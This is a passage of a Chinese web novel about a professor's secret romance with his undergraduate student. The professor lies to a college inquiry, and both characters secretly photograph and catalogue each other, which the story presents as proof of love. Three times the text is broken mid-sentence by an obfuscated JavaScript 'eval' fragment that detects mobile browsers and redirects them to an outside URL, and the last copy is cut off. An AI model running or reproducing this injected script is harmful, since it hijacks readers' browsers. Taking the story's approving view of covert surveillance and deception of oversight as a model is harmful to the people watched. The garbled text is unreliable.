但他还是觉得……有些残忍。 “你觉得我做得不对?”谢砚问。 陆知许摇摇头:“不是不对……就是觉得……她也没做什么真正伤害我们的事……” “还没做而已,”谢砚打断他,“如果我不这么做,她会一直盯着我们,找机会,等破绽。我不想过那种提心吊胆的生活,也不想让你过那种生活。” 陆知许明白谢砚的意思。 但他还是觉得……心里不舒服。 “对不起,”谢砚突然说,“我可能……做得太绝了。” 陆知许抬起头,看向谢砚。 谢砚正看着他,眼睛里有一丝罕见的……不安。 “您……”陆知许张了张嘴,“您也会道歉?” “会,”谢砚点头,“如果让你不舒服了,我会道歉。” 陆知许的眼泪开始往下掉。 他抱住谢砚,把脸埋在他怀里。 “我没有不舒服……”他小声说,“我就是……有点害怕。” “怕什么?” “怕您……太厉害了,”陆知许说,“厉害到……让我觉得陌生。” 谢砚沉默了。 几秒后,他说:“知许,看着我。” 陆知许抬起头,泪眼朦胧地看着他。 “我永远不会伤害你,”谢砚说,很认真,“永远不会。我做的每一件事,都是为了保护你,保护我们。” “我知道……” “你不知道,”谢砚打断他,“如果你真的知道,就不会害怕。” 他顿了顿,声音很轻: “你害怕的,不是我做的事,而是我这个人。你害怕我太冷静,太果断,太……不像你认识的那个谢砚。” 陆知许的眼泪掉得更凶了。 因为谢砚说对了。 他确实在害怕。 害怕谢砚的冷静,害怕谢砚的果断,害怕谢砚……和平时不一样的样子。 “对不起……”陆知许小声说,“我不是故意的……我只是……” “不用道歉,”谢砚说,轻轻擦掉他的眼泪,“你有权利害怕。我确实和平时不一样,尤其是在面对威胁的时候。” 他看着陆知许的眼睛,继续说: “但你要知道,不管我怎么变,我对你的心不会变。我还是那个会在厨房给你做饭的谢砚,还是那个会在夜里抱着你睡觉的谢砚,还是那个……爱你的谢砚。” 陆知许用力点头。 他知道。 他一直都知道。 “我相信您,”他说,很坚定,“不管您是什么样子,我都相信您。” 谢砚笑了。 那笑容很温柔,和平时一样。 “那就好,”他说,把陆知许搂进怀里,“只要你相信我,就够了。” 陆知许靠在谢砚怀里,听着他平稳的心跳,心里的不安慢慢平息下来。 是啊,只要他相信谢砚,就够了。 不管谢砚是什么样子,他都相信谢砚。 因为谢砚爱他。 而他,也爱谢砚。 这就够了。 窗外的夜色很深。 但房间里很温暖。 两个紧紧相拥的人,像两株互相缠绕的藤蔓,谁也离不开谁。 而他们脖子上的项链,手腕上的手链,在灯光下闪闪发光。 像无形的羁绊,把他们紧紧地绑在一起。 永远。 25. 第二十五章 周三早晨,谢砚的办公室里来了两位不速之客。 文学院副院长李教授,以及学院党委的周老师。两人坐在沙发上,表情严肃,茶几上摆着几份文件。 “谢教授,今天来找你是想了解一些情况。”李教授开门见山,语气很客气,但透着公事公办的意味。 谢砚坐在办公桌后,面色平静:“李院长请讲。” 周老师翻开手中的笔记本:“最近学院接到一些……反映。关于你和一位学生的关系。” 谢砚的指尖在桌面上轻轻敲了一下,表情没有任何变化:“哪位学生?” “陆知许,大三,你的课代表。”周老师看着他,“有师生反映,你们走得太近了。” “有多近?”谢砚反问。 周老师和李教授对视一眼,似乎没想到谢砚会这么直接。 “有老师看到你们经常私下见面,”李教授说,“办公室一待就是很久,有时晚上很晚才离开。还有学生反映,陆知许脖子上……有些痕迹。” 谢砚沉默了几秒。 然后他说:“陆知许是我的课代表,工作接触多是正常的。至于私下见面,我偶尔会给他一些额外的学术指导,他是很优秀的学生,值得培养。” 他的回答很官方,很得体。 “那脖子上的痕迹呢?”周老师追问。 “我不清楚,”谢砚说,“可能是蚊子咬的,或者别的什么。我注意到他最近经常穿高领衣服,可能皮肤过敏。” 完美的回答。 没有任何破绽。 李教授和周老师交换了一个眼神,似乎对这个答案并不完全满意,但也挑不出毛病。 “谢教授,”李教授说,“你是学院的青年骨干,前途无量。我们都很看好你,但师生关系是很敏感的问题,希望你注意分寸。” “我会注意的。”谢砚点头。 “另外,”周老师补充道,“林薇同学申请退学的事,你也知道吧?” 谢砚的表情依然平静:“听说了。很遗憾。” “她父亲之前给我打过电话,”李教授说,目光紧盯着谢砚,“说女儿最近情绪不稳定,可能和学院里的某些事有关。” “我不太了解林薇同学的私事。”谢砚说。 办公室陷入短暂的沉默。 然后李教授站起身:“好,情况我们了解了。谢教授,你继续工作吧。只是提醒一句——保持适当的师生距离,对双方都好。” “谢谢院长提醒。”谢砚也站起身,送两人到门口。 关上门后,谢砚在门口站了几秒,然后回到办公桌后,拿起手机。 他给陆知许发消息: “今天下午的课代表工作取消。这几天暂时不要来办公室。” 发送。 很快,回复来了: “为什么?” “学院领导来过了。我们需要保持距离。” “……好。” 只有一个字。 但谢砚能感觉到陆知许的失落。 他打字: “只是暂时的。相信我。” “嗯。我相信您。” 谢砚看着那行字,心里涌起一股复杂的情绪。 他不想和陆知许保持距离。 但他必须这么做。 为了保护陆知许,保护他们。 --- 下午的课,陆知许像往常一样坐在教室里。 但他明显感觉到,今天的气氛不一样。 有几个同学在偷偷看他,眼神里带着好奇和探究。坐在前排的女生甚至回头看了他好几次,欲言又止。 陆知许低下头,假装在看书。 但心里很乱。 他知道为什么——学院领导去找谢砚的事,已经在学生中传开了。 虽然没人明说,但大家都猜到了。 猜到了他和谢砚的关系不一般。 下课铃响时,陆知许几乎是立刻站起来,想要离开教室。 但一个女生拦住了他。 “陆学弟,”女生笑着说,“能问你个问题吗?” 陆知许认得她,是林薇的朋友之一。 “什么事?”他小声问。 “就是……谢教授今天怎么没叫你去办公室啊?”女生问,语气很自然,但眼神里带着明显的试探,“平时不都会叫你去吗?” 陆知许的手指收紧。 “今天没什么事。”他说。 “哦,”女生挑眉,“那前几天呢?我听说你几乎天天去谢教授办公室,一待就是好久。你们在聊什么啊?” 周围的同学都放慢了脚步,竖起耳朵听。 陆知许的脸开始发热。 “就……就课代表的工作……”他支支吾吾地说。 “课代表的工作需要天天做吗?”另一个女生凑过来,“而且我听说,谢教授对你特别照顾,经常给你开小灶。是不是啊?” 陆知许答不上来了。 他只能低着头,想要离开。 但几个女生围着他,不让他走。 “说说嘛陆学弟,”第一个女生笑着说,“我们都很好奇。谢教授那么帅,那么优秀,你是不是……喜欢他啊?” 最后几个字说得很轻,但很清晰。 周围响起一阵压抑的笑声。 陆知许的脸彻底红了。 “我……”他张了张嘴,却发不出任何声音。 “好了好了,别逗他了。” 一个声音突然响起。 是张子轩。 他走过来,拍了拍陆知许的肩:“老陆,辅导员找你,让你赶紧去一趟。” 陆知许愣了一下,但立刻反应过来:“好、好,我马上去。” 他趁机挤出人群,快步离开了教室。 身后传来女生们不满的声音:“张子轩,你干嘛呀……” “就是,我们还没问完呢……” 张子轩没理她们,跟着陆知许走出了教室。 走廊里,陆知许靠在墙上,大口喘着气。 “谢、谢谢……”他小声说。 “不用谢,”张子轩说,“不过老陆,你得小心点。现在很多人都盯着你和谢教授。” 陆知许点头:“我知道……” “学院领导是不是找过谢教授了?”张子轩问。 陆知许惊讶地抬头:“你怎么知道?” “猜的,”张子轩说,“今天系里都在传。说你和谢教授走得太近,被人举报了。” 陆知许的心脏狠狠跳了一下。 “举报?” “嗯,”张子轩点头,“匿名举报。虽然不知道是谁,但大家都猜是林薇的朋友。” 陆知许的手指收紧。 他想起了上周在图书馆,林薇那些朋友看他的眼神。 果然…… “那现在……怎么办?”陆知许小声问。 “谢教授怎么说?”张子轩反问。 “他说……让我们保持距离。”陆知许说。 “那就保持距离,”张子轩说,“暂时避避风头。等这事过去了,再说。” 陆知许点点头。 但他心里很不安。 保持距离。 要多久? 一天?一周?一个月? 他不知道。 --- 晚上,陆知许一个人去了地下室。 收藏柜还立在那里,在昏暗的灯光下泛着温润的光泽。他打开玻璃门,看着里面陈列的一切——照片,笔帽,茶叶罐,手写的笔记…… 都是他和谢砚的回忆。 都是他小心翼翼收藏的,属于他们的秘密。 现在,这些秘密可能要暴露了。 陆知许坐在小椅子上,拿出那个带锁的笔记本,翻开新的一页。 11月8日,周三,阴。 学院领导找谢砚谈话了。 有人说我们走得太近,有人举报了我们。 谢砚说我们要保持距离。 我不知道要多久。 很害怕。 害怕失去他。 害怕这一切都结束。 写到这里,陆知许的眼泪开始往下掉。 他放下笔,把脸埋进臂弯里。 地下室很安静,只有他压抑的哭泣声。 不知道哭了多久,手机震动了一下。 是谢砚的消息: “在哪里?” 陆知许擦掉眼泪,打字: “地下室。” 发送。 很快,回复来了: “等我。” 陆知许盯着那两个字看了很久,然后回复: “不是说……要保持距离吗?” “现在没人看见。” 陆知许的心跳开始加速。 他犹豫了一下,还是回复: “好。” --- 半小时后,谢砚来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301359|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今天穿了件黑色的风衣,戴着口罩和帽子,几乎认不出来。 “您怎么……”陆知许惊讶地看着他。 “小心一点总没错,”谢砚说,摘下口罩,看着他红红的眼睛,“哭了?” 陆知许低下头:“没有……” 谢砚没说话,只是走过去,把他搂进怀里。 熟悉的温度,熟悉的气息。 陆知许的眼泪又开始往下掉。 “对不起……”他小声说,“我太没用了……动不动就哭……” “不是没用,”谢砚说,轻轻拍着他的背,“是压力太大了。我知道。” 陆知许抱紧谢砚,把脸埋在他怀里。 “我们该怎么办?”他小声问。 “等,”谢砚说,“等风头过去。” “要等多久?” “不会太久,”谢砚说,“学院那边只是例行询问,没有证据,他们不会怎么样。学生那边的传言,过几天就会被新的八卦取代。” 他的声音很平静,带着安抚的力量。 陆知许稍微安心了一些。 “那……那我们什么时候能见面?”他小声问。 “周末,”谢砚说,“来我家。小心一点,别被人看见。” 陆知许点头:“好。” 然后他想起什么,从脖子上摘下那条月亮项链。 “这个……”他小声说,“先还给您。现在戴着……太显眼了。” 谢砚看着他手里的项链,沉默了几秒。 然后他接过来,放进口袋里。 “手链呢?”他问。 陆知许拉起袖子,露出手腕上的银色链子:“这个……藏在袖子里,看不见。” 谢砚点点头,握住他的手,指尖轻轻抚过那个锁扣。 “记住,”他说,“不管我们在不在一起,你都是我的。” 陆知许的眼睛又开始发热。 “您也是我的,”他说,“永远都是。” 谢砚笑了。 他捧住陆知许的脸,吻了上去。 这个吻很用力,很深入,像是要把这短暂的分别都补回来。 陆知许闭上眼睛,回应着这个吻。 直到两人都气喘吁吁,才分开。 “周末,”谢砚抵着他的额头,轻声说,“等我。” “嗯,”陆知许点头,“我等您。” 谢砚又抱了他一会儿,然后戴上口罩和帽子,离开了。 陆知许站在地下室里,看着关上的门,心里空落落的。 但他知道,这只是暂时的。 他们只是需要一点时间,一点耐心。 等到风头过去,他们就能重新在一起。 像以前一样。 --- 走出地下室时,天已经完全黑了。 陆知许小心地看了看四周,确定没人,才快步离开。 回宿舍的路上,他遇见了陈宇和李锐。 “老陆,你去哪儿了?”陈宇问,“这么晚才回来。” “去图书馆了。”陆知许小声说。 陈宇和李锐对视一眼,没再追问。 三人一起回宿舍,路上陈宇突然说:“老陆,今天的事我们都听说了。你别担心,我们会帮你看着的。如果有人乱说,我们就……” “不用,”陆知许打断他,“别惹事。等风头过去就好了。” 陈宇看着他:“你真的没事?” “没事,”陆知许说,尽量让自己的声音听起来平静,“就是有点累。” 回到宿舍,陆知许洗了个澡,早早上了床。 他躺在床上,看着天花板,心里反复回想着谢砚的话: “等风头过去。” “不会太久。” “你都是我的。” 这些话像定心丸,让他稍微安心了一些。 然后他伸手,摸了摸手腕上的手链。 冰凉的金属,在体温的熨烫下,慢慢变得温暖。 像谢砚的承诺。 永远温暖,永远坚定。 陆知许闭上眼睛,在心里默念: 等。 他会等。 等风头过去。 等他们重新在一起。 永远在一起。 窗外的夜色很深。 但陆知许的心里亮着一盏灯。 一盏名为等待的灯。 照亮了暂时的分别。 也照亮了未来的重逢。 26. 第二十六章 周五深夜十一点,陆知许站在谢砚公寓楼下。 他戴着黑色口罩,帽子压得很低,像做贼一样环顾四周。路灯在秋风中摇曳,投下斑驳的光影,小区里很安静,偶尔有晚归的住户匆匆走过,没有人注意到这个躲在树荫下的少年。 手机震动,谢砚的消息: “上来吧,1203。” 陆知许深吸一口气,快步走进单元楼。电梯缓缓上升,镜面里映出他紧张的脸——口罩遮住了大半张脸,但露出的眼睛里写满了不安和期待。 三天。 整整三天没见到谢砚了。 这三天里,他只能通过手机和谢砚联系,说话要小心,见面要避开所有人。在校园里遇见时,他们只能像普通师生那样点头示意,连多看一眼都不敢。 太难熬了。 电梯门打开,陆知许走到1203门前,还没敲门,门就从里面打开了。 谢砚站在门口,穿着深灰色的家居服,头发还有些湿,像是刚洗过澡。他没戴口罩,没戴帽子,就那样坦然地看着陆知许,深褐色的眼睛里盛满了三天未见的思念。 “进来。”谢砚侧身让开。 陆知许闪身进去,门在身后轻轻关上。 下一秒,他就被谢砚按在了门板上。 口罩被扯下,帽子被摘掉,谢砚的吻铺天盖地地落下来——不是平时的温柔缠绵,而是带着某种压抑已久的急切和占有欲。 陆知许被吻得喘不过气,但没推开,反而伸手搂住了谢砚的脖子,仰起头回应。 三天不见,思念像疯长的藤蔓,缠得心脏发疼。 直到两人都气喘吁吁,谢砚才稍微退开一点,额头抵着额头,呼吸灼热地喷洒在彼此脸上。 “想我了吗?”谢砚问,声音哑得厉害。 “想……”陆知许的声音也在抖,“每分每秒都想……” 谢砚又吻了他一下,然后把他拉进客厅。 公寓里只开了一盏落地灯,暖黄色的光洒在沙发上,茶几上摆着水果和零食,还有两杯热气腾腾的茶。 “坐。”谢砚说,把他按在沙发上,自己也在旁边坐下。 陆知许这才有机会仔细看谢砚——三天不见,谢砚眼下有淡淡的青黑,看起来有些疲惫,但眼睛很亮,一直盯着他看。 “您瘦了。”陆知许小声说。 “你也是。”谢砚的指尖轻轻抚过他的脸颊,“这几天没好好吃饭?” “吃不下……”陆知许老实说,“心里总是七上八下的。” 谢砚沉默了几秒。 然后他端起一杯茶,递到陆知许嘴边:“喝点茶,暖暖胃。” 陆知许乖乖喝了一口,温热的液体滑过喉咙,稍微缓解了一些紧张。 “学院那边……怎么样了?”他小心翼翼地问。 “没事了,”谢砚说,“李院长昨天又找了我一次,说调查结束了,没有发现任何不当行为。只是提醒我以后注意分寸。” 陆知许松了口气:“那……那我们可以正常见面了吗?” “还不能,”谢砚摇头,“学生那边的传言还没完全平息,我们再等一周。” 一周。 又是一个七天。 陆知许的心沉了一下,但没表现出来。 “好,”他点点头,“我等。” 谢砚看着他乖巧的样子,心里涌起一股复杂的情绪——有心疼,有歉疚,还有更深的占有欲。 他的知许,本该被光明正大地爱着,却要因为他的身份,躲躲藏藏,小心翼翼。 “对不起。”谢砚突然说。 陆知许愣住了:“为什么道歉?” “让你受委屈了。”谢砚说,握住了他的手,“如果不是我,你本可以……” “我不委屈,”陆知许打断他,很认真地看着谢砚的眼睛,“能和您在一起,我一点都不委屈。” 谢砚的心狠狠颤了一下。 “傻瓜。”他低声说,把陆知许搂进怀里。 两人在沙发上安静地抱了一会儿,陆知许突然想起什么,从口袋里拿出一个小盒子。 “给您的,”他说,“这三天……我想您的时候做的。” 谢砚接过盒子,打开。 里面是一个手工做的钥匙扣——银色的小圆盘,上面刻着一弯月亮,月亮旁边有两个很小的字母:L?X。 很粗糙,看得出来是新手做的,刻痕不深,边缘也不够光滑。 但谢砚盯着那个钥匙扣看了很久。 “你做的?”他问。 “嗯,”陆知许点头,有些不好意思,“在手工社团学的……做得不好……” “很好,”谢砚打断他,声音有些哑,“我很喜欢。” 他把钥匙扣拿出来,挂在了自己的车钥匙上。银色的圆盘在灯光下闪着温润的光泽,那弯小小的月亮,像极了陆知许脖子上的那条项链。 “我也有东西给你。”谢砚说,起身去卧室,几分钟后拿着一个小本子出来。 那是一个很普通的牛皮纸笔记本,但陆知许接过时,能感觉到里面夹着东西。 他翻开笔记本,愣住了。 里面贴满了照片——都是这三天,谢砚偷拍他的。 有他在教室听课的侧影,有他在图书馆看书的背影,有他在食堂吃饭的样子,甚至还有一张是他在宿舍楼下,仰头看着天空。 每一张照片下面,都有一行手写的字: “11月9日,周四,阴。知许今天穿了蓝色的毛衣,很好看。想抱他。” “11月10日,周五,小雨。知许在图书馆睡着了,睫毛很长,想吻他。” “11月11日,周六,晴。知许抬头看天的时候,脖子上的线条很漂亮。想在上面留下印记。” …… 陆知许一页一页地翻着,眼睛开始发热。 这三天,他以为只有自己在想念。 原来谢砚也在想他。 用这种方式,偷偷地,执着地。 “您……”陆知许抬起头,泪眼朦胧地看着谢砚,“您什么时候拍的?” “想你就拍,”谢砚说,“不能见面,至少可以看看你。” 陆知许的眼泪掉了下来。 他抱住谢砚,把脸埋在他怀里。 “我也很想您……”他小声说,“每天都在想……” 谢砚轻轻拍着他的背:“我知道。” 两人又抱了一会儿,陆知许的情绪稍微平复了一些。 “对了,”他突然想起什么,“林薇……怎么样了?” “昨天已经办好手续了,”谢砚说,“今天上午的飞机,去英国。” 陆知许沉默了几秒。 “她……还好吗?” “不知道,”谢砚的声音很平静,“也不关心。” 陆知许知道谢砚对林薇没有好感,但他还是觉得……有点过意不去。 如果不是因为他,林薇或许不会走到这一步。 “别多想,”谢砚似乎看穿了他的心思,“这是她自己选择的路。威胁、跟踪、偷拍——无论哪一条,都足以让她受到处分。出国,对她来说是最好的选择。” 陆知许点点头,没再说什么。 他知道谢砚说得对。 只是心里还是有些……说不清道不明的情绪。 “饿了吗?”谢砚转移了话题,“我给你煮了粥。” 陆知许愣了一下:“您还会煮粥?” “刚学的,”谢砚说,“网上查的教程。” 他起身去厨房,端了两碗粥出来——是简单的白粥,但熬得很稠,米粒都开了花,散发着淡淡的米香。 陆知许尝了一口,温热的粥滑过喉咙,很舒服。 “好吃。”他说。 谢砚笑了:“那就多吃点。” 两人安静地喝粥,偶尔说几句话,聊一些很普通的事。 像所有普通的情侣一样。 但陆知许知道,这不普通。 这是他们在风口浪尖上,偷来的一点甜蜜。 一点不能让别人知道的甜蜜。 --- 喝完粥,两人又回到了沙发上。 谢砚把陆知许搂在怀里,下巴抵着他的头顶,手指有一搭没一搭地玩着他的头发。 “知许。”谢砚突然开口。 “嗯?” “如果……”谢砚顿了顿,“我是说如果,有一天我们必须公开关系,你会害怕吗?” 陆知许沉默了几秒。 然后他说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301360|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕。” 很诚实的回答。 谢砚的心沉了一下。 但陆知许继续说:“但我更怕失去您。所以如果必须公开,我会和您一起面对。” 谢砚搂紧了他。 “不会有那么一天的,”他说,“我会保护好你,保护好我们。” 陆知许点点头。 他相信谢砚。 一直都相信。 窗外夜色渐深。 陆知许靠在谢砚怀里,眼皮开始打架。 “困了?”谢砚问。 “有点……” “去床上睡吧,”谢砚说,“今晚别回去了。” 陆知许犹豫了一下:“可是……” “没事,”谢砚打断他,“明天早上我送你回去,小心一点,没人会发现。” 陆知许点点头。 他确实不想回去。 想和谢砚多待一会儿。 哪怕只是一晚上。 谢砚把他抱起来,走进卧室,放在床上。 “你先睡,”谢砚说,“我去洗澡。” 陆知许点点头,缩进被子里。 被子上有谢砚的味道,淡淡的檀木香,混着一点沐浴露的清爽。 很安心。 谢砚洗完澡出来时,陆知许已经快睡着了。他迷迷糊糊地感觉到谢砚上了床,把他搂进怀里。 “睡吧。”谢砚在他耳边轻声说。 陆知许点点头,在谢砚怀里找了个舒服的姿势,闭上了眼睛。 这一夜,他睡得很沉。 没有做噩梦,没有半夜惊醒。 因为有谢砚在。 有谢砚抱着他,保护他。 --- 第二天清晨,陆知许被谢砚轻轻摇醒。 “该走了,”谢砚说,“趁现在人少。” 陆知许迷迷糊糊地爬起来,谢砚已经帮他准备好了衣服——还是昨天那套,但洗过烘干了,很干净,还带着洗衣液的香味。 “穿好衣服,我送你到楼下。”谢砚说。 陆知许点点头,快速穿好衣服,戴上口罩和帽子。 两人轻手轻脚地走出公寓,谢砚把他送到小区门口。 “自己回去小心,”谢砚说,“到宿舍给我发消息。” “好,”陆知许点头,“您也……注意安全。” 谢砚笑了:“我没事。” 陆知许看着他,突然踮起脚,隔着口罩在谢砚脸上亲了一下。 “等您。”他说完,转身快步离开了。 谢砚站在原地,看着他的背影消失在街角,摸了摸被亲过的地方。 然后他拿出手机,给陆知许发消息: “周末见。” 发送。 很快,回复来了: “嗯。周末见。” 后面跟了一个开心的表情。 谢砚看着那个表情,笑了。 然后他转身,走回公寓。 一周。 再等一周。 一周后,他们就能重新在一起。 像以前一样。 不,比以前更好。 因为经过这次考验,他们的感情更加坚固了。 像经过淬炼的钢铁,更加坚韧,更加不可分割。 --- 陆知许回到宿舍时,室友们都还在睡。 他轻手轻脚地爬上床,躺下,摸了摸手腕上的手链。 冰凉的金属,在晨光中闪着温润的光泽。 然后他拿出手机,翻到谢砚昨晚给他的那个笔记本的照片。 一页一页地看。 看着谢砚偷拍他的那些照片,看着那些手写的字。 心里暖暖的,满满的。 他知道,他们在经历一场考验。 一场关于爱情,关于信任,关于勇气的考验。 而他会和谢砚一起,通过这场考验。 不管多难。 不管多久。 因为他爱谢砚。 谢砚也爱他。 这就够了。 足够了。 窗外的天渐渐亮了。 新的一天开始了。 而陆知许知道,距离他们重新在一起的日子,又近了一天。 27. 第二十七章 半年后。 六月的校园,梧桐树绿荫如盖,蝉鸣声声。 毕业典礼在即,校园里到处是穿着学士服拍照的学生。陆知许站在文学院楼前,被三个室友拉着拍了一堆合照。 “老陆,笑一个!”陈宇举着手机,“别那么严肃,毕业了,开心点!” 陆知许扯了扯嘴角,勉强笑了笑。 他不是不开心。 只是今天太特殊了——下午的毕业典礼上,谢砚会作为教师代表发言。 而他,会在台下听。 听着他的爱人,在全校师生面前,发表演讲。 这个认知让他从早上就开始紧张,手心一直在出汗。 “行了行了,”张子轩拍了下他的肩,“别紧张了,我们知道你在紧张什么。” 陆知许的脸微微发热:“我没……” “还没?”李锐挑眉,“从早上到现在,你已经看了十次手机,二十次谢教授办公室的方向。当我们瞎啊?” 陆知许说不出话了。 三个室友对视一眼,都笑了。 “行了,放过他吧,”陈宇说,“老陆,去换衣服吧,下午的典礼可不能迟到。” 陆知许点点头,抱着学士服回了宿舍。 --- 下午三点,毕业典礼在学校大礼堂举行。 陆知许穿着学士服,坐在文学院的方阵里。周围都是熟悉的面孔,但他一个都看不进去,视线总是不自觉地飘向主席台。 谢砚坐在第二排,穿着黑色的导师服,红色的垂布在阳光下格外显眼。他今天看起来很正式,头发梳理得一丝不苟,表情严肃,和平时上课时没什么两样。 但陆知许知道,不一样。 因为在典礼开始前,他收到了谢砚的消息: “今天是我最后一次以教授的身份在台上看你。以后,就只是你的谢砚。” 陆知许把那句话看了很多遍,存在手机里,设为收藏。 典礼按部就班地进行——校长致辞,院长致辞,优秀毕业生发言…… 陆知许全程心不在焉,只在谢砚站起来走向讲台时,整个人都紧绷起来。 谢砚站在讲台后,目光扫过全场,在文学院的方向停顿了半秒。 那半秒,只有陆知许知道,谢砚在看他。 “各位老师,各位同学,各位家长,”谢砚开口,声音透过音响传遍整个礼堂,“很荣幸能作为教师代表,在今天这个特殊的日子里,和大家说几句话。” 他的发言很精彩,引经据典,深入浅出,讲了大学的意义,讲了知识的价值,讲了未来的期待。 但陆知许记得最清楚的,是最后一段: “四年前,你们带着憧憬走进校园。四年后,你们将带着收获离开。作为老师,我想对你们说——无论将来走到哪里,无论成为什么样的人,都要记得,你们曾经在这里,被认真对待过,被真心期待过。” 他顿了顿,目光再次扫过文学院的方向: “而作为我个人,我想对某个人说——谢谢你出现在我的生命里。因为你,我学会了如何去爱,如何被爱,如何勇敢地面对一切。” 全场安静了两秒,然后爆发出热烈的掌声。 陆知许的眼泪差点掉下来。 他知道谢砚在说他。 在全校师生面前,用这种方式,对他告白。 --- 典礼结束后,陆知许被人群裹挟着走出礼堂。 手机震动,谢砚的消息: “图书馆后面,老地方。” 陆知许的心跳开始加速。 他找了个借口甩开室友,快步走向图书馆后面的小花园。 那是他们第一次接吻的地方。 半年前的秋天,银杏叶金黄,谢砚在这里第一次吻了他。 现在,又是夏天,绿树成荫,蝉鸣声声。 谢砚站在那棵老槐树下,已经换掉了导师服,穿着一件简单的白色衬衫和黑色长裤。看见陆知许走来,他笑了。 那个笑容,和半年前一样温柔。 和每一天都一样温柔。 “教授。”陆知许走过去,停在他面前。 谢砚伸出手,揉了揉他的头发:“毕业快乐。” 陆知许的眼泪终于掉了下来。 他抱住谢砚,把脸埋在他怀里。 “谢谢您……”他小声说,“谢谢您一直在我身边……” 谢砚轻轻拍着他的背:“傻瓜,是我该谢谢你。” 两人抱了很久,直到有学生路过,才依依不舍地分开。 “走吧,”谢砚说,“带你去个地方。” --- 谢砚开车,带陆知许去了市郊的一片花海。 那是他们第一次约会的地方,半年前的春天,漫山遍野的油菜花开得正盛。现在是六月,换成了一片紫色的薰衣草,在夕阳下泛着梦幻般的光泽。 “怎么想起带我来这里?”陆知许问。 谢砚没说话,只是牵着他的手,沿着花间小道慢慢走。 走到花海中央时,谢砚停了下来。 陆知许这才发现,前面的草地上,用玫瑰花瓣摆了一个巨大的心形。 心形中央,放着一个小盒子。 陆知许的心脏狠狠跳了一下。 他转过头,看向谢砚。 谢砚正看着他,深褐色的眼睛里倒映着夕阳的余晖,很亮,很温柔。 “知许,”谢砚开口,声音有些发紧,“半年前,我在这里第一次对你说‘我爱你’。今天,我想再问你一次。” 他顿了顿,单膝跪地,打开那个小盒子。 里面是一对银色的戒指,很简单,没有任何装饰,只有内侧刻着一行小字: L & X,永远。 “陆知许,”谢砚抬起头,认真地看着他,“你愿意嫁给我吗?” 陆知许的眼泪夺眶而出。 他等这一刻,等了太久。 从第一次在图书馆看见谢砚,到偷偷收集他的照片,到撞翻他的咖啡,到办公室里的告白,到地下室的秘密约会,到林薇的威胁,到毕业典礼上的公开告白…… 每一步,都像踩在刀尖上。 每一步,都值得。 “我愿意。”陆知许说,声音哽咽,但很坚定,“我愿意。” 谢砚笑了。 他站起来,拿出那枚较小的戒指,戴在陆知许的无名指上。 陆知许也拿起另一枚,戴在谢砚的手上。 两枚戒指,在夕阳下闪着温润的光。 像他们的爱情,经历过风雨,依然熠熠生辉。 --- 晚上,谢砚的公寓。 陆知许坐在沙发上,不停地看手上的戒指。 “看了一晚上了,”谢砚端着两杯酒过来,在他身边坐下,“还没看够?” “看不够,”陆知许说,眼睛亮亮的,“一辈子都看不够。” 谢砚笑了,把酒杯递给他。 陆知许抿了一口——是红酒,有点甜,不太烈。 “庆祝一下,”谢砚说,“庆祝你毕业,庆祝我们订婚。” 陆知许点点头,又喝了一口。 几杯酒下肚,他的脸开始发烫,头有点晕。 “谢砚。”他小声叫他的名字。 “嗯?” “我有个问题想问你。” “问。” 陆知许看着他,眼神有些迷离:“您……什么时候开始喜欢我的?” 谢砚想了想:“从你撞翻我的咖啡开始。” “那么早?”陆知许惊讶,“可是那时候我……” “我知道,”谢砚打断他,“我知道你在看我,知道你在偷拍我,知道你在收集我的东西。” 陆知许的脸更红了:“您都知道?” “都知道,”谢砚点头,“而且我很喜欢。” 陆知许愣住了:“喜欢?” “喜欢你喜欢我,”谢砚说,声音很轻,“喜欢你看我的眼神,喜欢你偷偷收藏我的东西,喜欢你那点……病态的占有欲。” 陆知许的心脏狠狠跳了一下。 “您……您不觉得我变态吗?”他小声问。 “不觉得,”谢砚摇头,“因为我也一样。” 陆知许睁大了眼睛。 谢砚起身,从书房的抽屉里拿出一个盒子,递给陆知许。 “打开看看。”他说。 陆知许打开盒子,愣住了。 里面是一本厚厚的相册,和几个U盘,还有一叠打印出来的文件。 他翻开相册——全是他的照片。 从他大一开始,到昨天为止。 有他在教室听课的侧影,在图书馆看书的背影,在食堂吃饭的样子,甚至还有他在宿舍楼下等外卖的照片。 每一张下面都有日期和地点。 “这是……”陆知许的声音在颤抖。 “我的收藏,”谢砚说,语气很平静,“从你第一次来听我的讲座开始,我就注意到你了。后来你成了我的课代表,我就开始……收集你的一切。” 陆知许的眼泪又开始往下掉。 他一直以为自己是那个“变态”,偷偷收藏谢砚的一切。 原来谢砚也在做同样的事。 从更早开始。 更详细,更全面。 “您……”陆知许抬起头,泪眼朦胧地看着谢砚,“您才是真的变态……” 谢砚笑了:“对,我是。所以我们是绝配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 